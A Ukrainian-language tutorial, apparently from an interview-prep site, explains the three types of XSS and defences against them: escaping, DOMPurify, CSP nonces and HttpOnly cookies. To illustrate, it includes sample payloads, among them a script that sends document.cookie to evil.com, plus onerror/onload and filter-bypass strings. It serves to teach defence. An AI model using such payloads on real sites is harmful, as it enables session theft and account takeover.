Skip to main content

Що таке XSS і як його запобігти?

XSS (Cross-Site Scripting) - це вразливість, при якій зловмисник додає шкідливий скрипт на сторінку, якій ти довіряєш, і браузер його виконує.

Теорія

TL;DR

  • XSS схожий на підроблену записку в банківській системі: браузер (касир) вважає її легітимною і виконує
  • Три типи: Stored (скрипт зберігається в БД, спрацьовує для кожного відвідувача), Reflected (скрипт повертається через URL), DOM-based (клієнтський JS записує введення зловмисника напряму в сторінку)
  • Браузер не розрізняє твій скрипт від впровадженого
  • Захист: екрануй при виводі (не при введенні), санітизуй HTML, додай заголовок CSP
  • React автоматично екранує JSX, але dangerouslySetInnerHTML вимикає цей захист повністю

Швидкий приклад

html
<!-- Вразлива PHP сторінка пошуку --> <h1>Результати для: <?php echo $_GET['q']; ?></h1> <!-- URL атаки --> page.php?q=<script>alert(document.cookie)</script> <!-- Браузер сприймає це як справжній HTML і виконує скрипт -->

Один неекранований echo - і браузер виконує все, що є в URL. Ось і вся атака.

Три типи XSS

Stored XSS зберігає payload у базі даних. Коментар зі скриптом <script>fetch('https://evil.com?c='+document.cookie)</script> спрацьовує для кожного користувача, що відкриває сторінку. Одна ін'єкція - необмежена кількість жертв.

Reflected XSS працює через URL. Сервер читає ?q=<script>... і записує це прямо в HTML-відповідь. Спрацьовує один раз при кліку на підроблене посилання.

DOM-based XSS взагалі не торкається сервера. Клієнтський JS читає з location.hash або location.search і записує в innerHTML. Сервер надсилає чисту відповідь, а браузер атакує сам себе.

javascript
// DOM-based: сервер ніколи не бачить payload const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); document.getElementById('result').innerHTML = query; // URL: #q=<img src=x onerror=alert(1)> → виконується

Чому браузер виконує впроваджені скрипти

Браузер парсить HTML через движок (Blink у Chrome, Gecko у Firefox). Коли парсер натрапляє на тег <script> або атрибут-обробник на кшталт onerror, він передає це JS-движку (V8 у Chrome) для виконання. Движок не перевіряє походження - він виконує все, що йому передав парсер.

Політика одного джерела (same-origin policy) контролює те, що скрипти можуть запитувати, але не те, що вони можуть виконувати. Тому впроваджений скрипт запускається з повним доступом до document.cookie, localStorage і DOM в рамках довіреного джерела.

Коли який захист застосовувати

  • Відображення тексту від користувача: використовуй textContent замість innerHTML або шаблонізатор з автоматичним екрануванням
  • Відображення HTML від користувача (rich text, Markdown): санітизуй через DOMPurify перед вставкою
  • Параметри URL в HTML: HTML-кодуй вивід, а не введення
  • Вбудовані скрипти (аналітика, A/B тести): додай CSP з nonces, не unsafe-inline
  • Cookies з даними сесії: встановлюй HttpOnly: true, щоб впроваджений скрипт не міг їх прочитати

Одне правило закриває більшість випадків: екрануй в точці виводу, а не введення.

Як працює екранування виводу

javascript
function escapeHtml(str) { return str .replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#039;'); } // Безпечний маршрут Express app.get('/search', (req, res) => { const q = escapeHtml(req.query.q ?? ''); res.send(`<h1>Результати для: ${q}</h1>`); // <script> стає &lt;script&gt; - браузер показує текст, не виконує });

Типові помилки

Екранування при введенні, а не виводі. Зберегти escape(userInput) в базу і потім відрендерити через <%= raw(post.comment) %>. Зловмисник надсилає &lt;script&gt;, що при виводі розкодовується назад у <script>. Виправлення: екрануй при рендерингу, кожного разу.

javascript
// Неправильно db.save({ comment: sanitize(raw) }); // ...потім... res.send(`<p>${post.comment}</p>`); // Довіряє БД // Правильно res.send(`<p>${escapeHtml(post.comment)}</p>`); // Екранування при виводі

Вайтлист тегів без атрибутів. Дозволяти <b>, але не прибирати onmouseover. Результат: <b onmouseover=alert(1)>hi</b> виконується. Справжній санітайзер на кшталт DOMPurify обробляє атрибути, а не тільки назви тегів.

javascript
// Неправильно: наївний фільтр тегів const safe = html.replace(/<script>/gi, ''); // <scr<script>ipt> обходить це миттєво // Правильно import DOMPurify from 'dompurify'; const safe = DOMPurify.sanitize(html); // Прибирає небезпечні атрибути теж

CSP з unsafe-inline. Заголовок script-src 'self' 'unsafe-inline' знищує весь сенс CSP. За даними OWASP, близько 40% заголовків CSP налаштовані саме так. Використовуй nonces або хеші для вбудованих скриптів.

javascript
// Неправильно "script-src 'self' 'unsafe-inline'" // Правильно: новий nonce для кожного запиту const nonce = crypto.randomBytes(16).toString('base64'); res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`); // В шаблоні: <script nonce="${nonce}">...

dangerouslySetInnerHTML у React без санітизації. React автоматично екранує JSX. Щойно ти використовуєш dangerouslySetInnerHTML, цей захист вимикається. Таке часто зустрічається в Next.js рендерерах Markdown, що передають сирий HTML з CMS прямо в проп.

jsx
// Вразливо function Post({ content }) { return <div dangerouslySetInnerHTML={{ __html: content }} />; } // Виправлено import DOMPurify from 'dompurify'; function Post({ content }) { return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }} />; }

Де зустрічається в реальних проектах

  • Express + Helmet: app.use(helmet()) встановлює CSP та інші заголовки безпеки одним рядком
  • React: JSX автоматично екранує, тому {userInput} безпечний; уваги потребує тільки dangerouslySetInnerHTML
  • Angular: DomSanitizer санітизує за замовчуванням; bypassSecurityTrustHtml() вимикає захист і потребує пояснення в коментарі до коду
  • PHP Laravel: {{ $var }} у Blade автоматично екранує; {!! $var !!} - ні; подвійний знак оклику - червоний прапор на code review
  • GitHub та Twitter: у продакшені використовують script-src 'nonce-...'; unsafe-inline відсутній

Питання на співбесіді

Q: Назви три типи XSS з прикладом для кожного.
A: Stored: коментар з <script> збережений у БД і виконується для всіх відвідувачів. Reflected: ?q=<script> повертається назад у HTML результатів пошуку. DOM-based: location.hash записується в innerHTML на клієнті.

Q: Яка різниця між innerHTML і textContent?
A: innerHTML парсить рядок як HTML і виконує обробники подій та скрипти. textContent вставляє рядок як звичайний текст без парсингу. Використовуй textContent, коли HTML-структура не потрібна.

Q: Як CSP знижує ризик XSS?
A: CSP повідомляє браузеру, які джерела скриптів дозволені. Якщо зловмисник впроваджує тег <script>, браузер блокує його, бо джерело не в списку. Nonces на кшталт 'nonce-abc123' дозволяють конкретні вбудовані скрипти і блокують все інше.

Q: Чи може санітайзер щось пропустити?
A: Так. Санітайзери працюють проти відомих патернів атак. Поліглот-payload на кшталт javascript:/*</textarea><script>alert(1)</script> може обійти самописний фільтр. DOMPurify регулярно оновлюється проти нових обходів, тому власний вайтлист тегів майже завжди буде неповним.

Q (Senior): Поясни різницю між frame-ancestors і sandbox у CSP.
A: frame-ancestors контролює, які джерела можуть вбудовувати твою сторінку в iframe - це захист від clickjacking. sandbox накладає обмеження на iframe з недовіреним контентом: без скриптів, без попапів, без відправки форм, якщо явно не дозволено. Вони вирішують різні проблеми: перший захищає твою сторінку від вбудовування, другий обмежує можливості вбудованого контенту.

Приклади

Stored XSS в Express

javascript
const express = require('express'); const DOMPurify = require('isomorphic-dompurify'); const app = express(); // Вразлива версія app.post('/comment', (req, res) => { db.save({ comment: req.body.comment }); // Зберігає <script>steal()</script> як є }); app.get('/comments', (req, res) => { const rows = db.getAll(); // Браузер кожного відвідувача виконає збережений скрипт res.send(rows.map(r => `<p>${r.comment}</p>`).join('')); }); // Виправлена версія app.post('/comment', (req, res) => { const clean = DOMPurify.sanitize(req.body.comment); // Очищаємо при збереженні db.save({ comment: clean }); }); app.get('/comments', (req, res) => { const rows = db.getAll(); res.send(rows.map(r => `<p>${escapeHtml(r.comment)}</p>`).join('')); // Подвійний захист: санітизація при збереженні, екранування при виводі });

Санітизація при збереженні І екранування при виводі - це не надмірність. Якщо один шар дасть збій, другий спрацює.

DOM-based XSS у React

jsx
// Вразливо: читає URL hash, записує сирий HTML function Search() { const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); return <div dangerouslySetInnerHTML={{ __html: query }} />; // URL: #q=<svg onload=alert(1)> → React рендерить SVG → onload спрацьовує } // Виправлено import DOMPurify from 'dompurify'; function Search() { const query = new URLSearchParams(window.location.hash.slice(1)).get('q'); // Варіант 1: санітизувати і дозволити HTML-розмітку return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(query) }} />; // Варіант 2: трактувати як звичайний текст (краще, якщо HTML не потрібен) // return <div>{query}</div>; }

Повний стек захисту в Express

javascript
const express = require('express'); const helmet = require('helmet'); const crypto = require('crypto'); const DOMPurify = require('isomorphic-dompurify'); const app = express(); app.use(express.json()); // Helmet встановлює X-XSS-Protection, X-Content-Type-Options та базовий CSP app.use(helmet()); // Новий nonce для кожного запиту - для вбудованих скриптів app.use((req, res, next) => { res.locals.nonce = crypto.randomBytes(16).toString('base64'); res.setHeader( 'Content-Security-Policy', `default-src 'self'; script-src 'self' 'nonce-${res.locals.nonce}'; style-src 'self'` ); next(); }); // HttpOnly cookie - впроваджений скрипт не зможе прочитати токен сесії app.post('/login', (req, res) => { res.cookie('session', generateSessionId(), { httpOnly: true, secure: true, sameSite: 'strict' }); res.json({ ok: true }); }); // Перевіряємо тип і довжину, потім санітизуємо перед збереженням app.post('/api/comment', (req, res) => { const raw = req.body.comment; if (!raw || typeof raw !== 'string' || raw.length > 2000) { return res.status(400).json({ error: 'Invalid input' }); } const clean = DOMPurify.sanitize(raw); db.save({ comment: clean }); res.json({ ok: true }); });

Три шари разом: CSP блокує виконання на рівні браузера, DOMPurify прибирає небезпечні теги перед збереженням, HttpOnly обмежує доступ до cookies навіть якщо щось проскочить.

Коротка відповідь

Для співбесіди
Premium

Коротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.

Дочитали статтю?